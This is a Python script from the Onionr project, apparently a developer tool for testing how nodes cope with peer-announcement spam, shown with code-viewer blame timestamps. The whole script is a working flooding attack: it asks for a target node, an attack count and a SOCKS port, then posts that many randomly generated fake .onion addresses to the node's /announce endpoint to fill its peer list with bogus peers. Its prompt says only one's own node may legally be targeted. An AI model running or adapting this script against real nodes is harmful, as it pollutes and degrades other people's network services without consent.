onionr/scripts/announce-attack.py

26 lines
795 B
Python
Raw Normal View History

2020-02-03 03:21:51 +00:00
import sys
import os
import secrets
import base64
os.chdir('../')
sys.path.append("src/")
from onionrutils import stringvalidators
from onionrutils import basicrequests
def random_tor_generator():
return base64.b32encode(secrets.token_bytes(35)).decode().replace("=", "").lower() + ".onion"
2020-03-03 11:55:50 +00:00
node = input("Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues")
2020-02-03 03:21:51 +00:00
assert stringvalidators.validate_transport(node)
count = int(input("Attack amount: "))
port = input("Socks:")
for x in range(count):
new = random_tor_generator()
print(f"Introducing {new} to {node}")
basicrequests.do_post_request(
f'http://{node}/announce',
data = {'node': new},
port=port)